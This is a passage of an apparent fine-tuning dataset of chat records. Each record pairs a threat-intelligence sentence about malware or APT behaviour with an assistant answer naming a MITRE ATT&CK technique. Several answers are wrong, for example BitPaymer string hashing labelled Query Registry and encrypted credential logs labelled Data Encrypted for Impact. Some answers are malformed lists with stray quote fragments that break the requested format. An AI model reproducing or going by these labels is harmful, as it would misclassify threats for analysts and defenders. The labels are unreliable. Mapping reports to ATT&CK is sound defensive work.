                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Many of the Fetch samples we analyzed attempted to obfuscate their functionality by encrypting their embedded strings using AES"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can obtain the username from the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Upon further inspection, Kroll learned that an employee using their work computer had clicked on a malicious link from their personal email account that downloaded a Qakbot dropper"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When we deploy any web browser, it directly injects the code into its process and deploys illegitimate connections.It is the way to keep in touch with the C&amp;C, monitor user’s activity and steal credentials"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During one investigation, APT32 was observed using a privilege escalation exploit (CVE-2016-7255) masquerading as a Windows hotfix. In another investigation, APT32 compromised the McAfee ePO infrastructure to distribute their malware as a software deployment task in which all systems pulled the payload from the ePO server using the proprietary SPIPE protocol. APT32 also used hidden or non-printing characters to help visually camouflage their malware on a system. For example, APT32 installed one backdoor as a persistent service with a legitimate service name that had a Unicode no-break space character appended to it"
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike can set its Beacon payload to reach out to the C2 server on an arbitrary and random interval."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can add or remove applications or ports on the Windows firewall or disable it entirely."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following functions are called when the application attempts to initialize the menu:ETransaksi.Speed(); // Legitimate class, but method is the first  wrapped function that leads to malicious code ProjectData.EndApp(); // Closes the application before rest of  legitimate Sales System Application functions are calledThe “Speed” method in the legitimate ETransaksi class contains legitimate code from the Sales System Application; however, the author of this tool includes this code in an if/else construct that bypasses these instructions by setting a false flag to skip the legitimate code and execute the next step to the malicious code"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "email with an embedded tracking link"
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Lazarus Group malware families encrypt C2 traffic using custom code that uses XOR with an ADD operation and XOR with a SUB operation. Another Lazarus Group malware sample XORs C2 traffic. Other Lazarus Group malware uses Caracachs encryption to encrypt C2 payloads. Lazarus Group has also used AES to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has obtained exploit code for various CVEs."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WastedLocker can enumerate removable drives prior to the encryption process."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "With the upsurgence of ProxyShell, webshells have become more common entry points."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell', 'T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Honeybee's service-based DLL implant can execute a downloaded file with parameters specified using \"CreateProcessAsUser\"."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ROKRAT can request to delete files."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BokBot achieves malicious payload execution by abusing a renamed copy of the legitimate WMIC utility, which will execute a XSL script file. The entire process is outlined below."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has a tool that can enumerate the permissions associated with Windows groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used an audio capturing utility known as SOUNDWAVE that captures microphone input."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WIRTE has used `regsvr32.exe` to trigger the execution of a malicious script."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used a custom hashing method to resolve APIs used in shellcode."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Moses Staff has built malware, such as DCSrv and PyDCrypt, for targeting victims' machines."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "IcedID has been delivered via phishing e-mails with malicious attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore has disguised a malicious .app file as a Flash Player update."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DRATzarus can collect information from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GetST.py: Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user. GetPac.py: This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]’s S4USelf + User to User Kerberos Authentication. GetUserSPNs.py: This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat. GetNPUsers.py: This example will attempt to list and get TGTs for those users that have the property ‘Do not require Kerberos preauthentication’ set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR. ticketConverter.py: This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa. raiseChild.py: This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids"
            },
            {
                "role": "assistant",
                "content": "T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic can gather hashed passwords by dumping SAM/SECURITY hive."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of accessing locally stored passwords on victims."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AuTo Stealer can store collected data from an infected host to a file named `Hostname_UserName.txt` prior to exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Retrieves the following data from the system by leveraging Windows Management Instrumentation (WMI) queries and environment variables: IP Address from Network Adapter Configuration OS Name OS Architecture Computer Name Computer Domain Name Username - IP Address from Network Adapter Configuration - OS Name - OS Architecture - Computer Name - Computer Domain Name - Username"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1082 - System Information Discovery', 'T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacMa exfiltrates data from a supplied path over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MegaCortex loads \"injecthelper.dll\" into a newly created \"rundll32.exe\" process."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Reaver continues to collect various information from the victim machine, including the following:  Computer name Volume serial number Microsoft Windows version CPU speed ANSI code page OEM code page identifier for the operating system Physical and virtual memory information  Reaver encrypts this data using an incremental XOR key and uploads it to the configured remote server on the port specified"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT39 has sent spearphishing emails in an attempt to lure users to click on a malicious link."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RainyDay can use the QuarksPwDump tool to obtain local passwords and domain cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POORAIM can enumerate processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has used shell scripts for execution."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All this information was then sent to one of the following domains: G1 also had the ability to execute commands remotely on the infected host machine at the author's will"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Below is an example of anti-analysis technique showing the loader checking if the victim system is a Vmware or VirtualBox VM"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor will load the encrypted configuration file and decrypt it, then use Secure Sockets Layer (SSL) protocol to connect to command-and-control (C&C) servers"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The loaded module is a simple dropper. Upon loading the module, the AutoOpen method will be invoked. The malicious code in this method drops the final payload executable into %AppData%\\service.exe and executes it (see Figure 6)"
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Executable Installer File Permissions Weakness', 'T1574 - Hijack Execution Flow', 'T1569.002 - System Services: Service Execution', 'T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adds newly created accounts to the administrators group to maintain elevated access."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Peppy can take screenshots on targeted systems."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actors used two Impacket tools: wmiexec.py and smbexec.py."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It then launches player.exe, a CozyDuke dropper maintaining anti-detection techniques: 3d3363598f87c78826c859077606e514,player.exe,338kb,Trojan.Win32.CozyBear.v,CompiledOn:2014.07.02 21:13:33 Anti-detection and trojan functionality The file collects system information, and then invokes a WMI instance in the root\\securitycenter namespace to identify security products installed on the system, meaning that this code was built for x86 systems, wql here: SELECT * FROM AntiVirusProduct SELECT * FROM FireWallProduct The code hunts for several security products to evade: CRYSTAL KASPERSKY SOPHOS DrWeb AVIRA COMODO Dragon In addition to the WMI/wql use, it also hunts through the “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\” registry key looking for security products to avoid"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has established email accounts using fake personas for spearphishing operations."
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FELIXROOT collects a list of running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In addition to the encrypted strings table, BitPaymer replaces the remaining strings in the binary with hashes and uses an algorithm to match these hashes with strings that exist on the host. This hash is combined with a DWORD using a simple XOR. This string hashing algorithm is identical to the hashing algorithm used in other Dridex modules"
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SLOTHFULMEDIA can enumerate open ports on a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass has used certutil in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used \"certutil -decode\" to decode files on the victim’s machine when dropping UPPERCUT."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links. As part of our wider tracking of APT31 activity, we've also seen them deploy targeted malware campaigns"
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can check for the presence of specific files prior to moving to the next phase of execution."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used a AMSI bypass, which patches the in-memory amsi.dll, in PowerShell scripts to bypass Windows antimalware products."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EVILNUM can execute commands and scripts through rundll32."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive"
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for rival malware and removes it if found. TeamTNT has also searched for running processes containing the strings aliyun or liyun to identify machines running Alibaba Cloud Security tools."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PROMETHIUM has used a script that configures the knockd service and firewall to only accept C2 connections from systems that use a specified sequence of knock ports."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ProLock can use BITS jobs to download its malicious payload."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After downloading and executing these files, one of the child processes created other files and the executable setup.exe/setup-installv1.3.exe, which was extracted from 320yea_Teamviewer_15206.zip via WinRAR.exe. This file seems to be the source of most of the downloaded malicious files, as seen in the following figure."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The URIs used in the HTTP requests are randomly generated"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DES-encrypts captured credentials using the key 12345678 before writing the credentials to a log file."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "sent shortened URL links over email to victims. The URLs linked to Word documents with malicious macros that execute PowerShells scripts to download Pupy."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyclops Blink has the ability to execute on device startup, using a modified RC script named S51armled."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: Rc.common"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used HTTP for C2 and data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RAT is able to open a command shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "identifies files and directories for collection by searching for specific file extensions or file modification time."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The optional HTTP data with king.jpg looks like a beacon to inform the control server that the malware is ready to accept new commands:  Commands received from the control server are encoded DWORDs After decoding, these DWORDs should be in the range 123459h to 123490h  Malware checking to make sure a received command is in the correct range"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLUELIGHT has a XOR-encoded payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
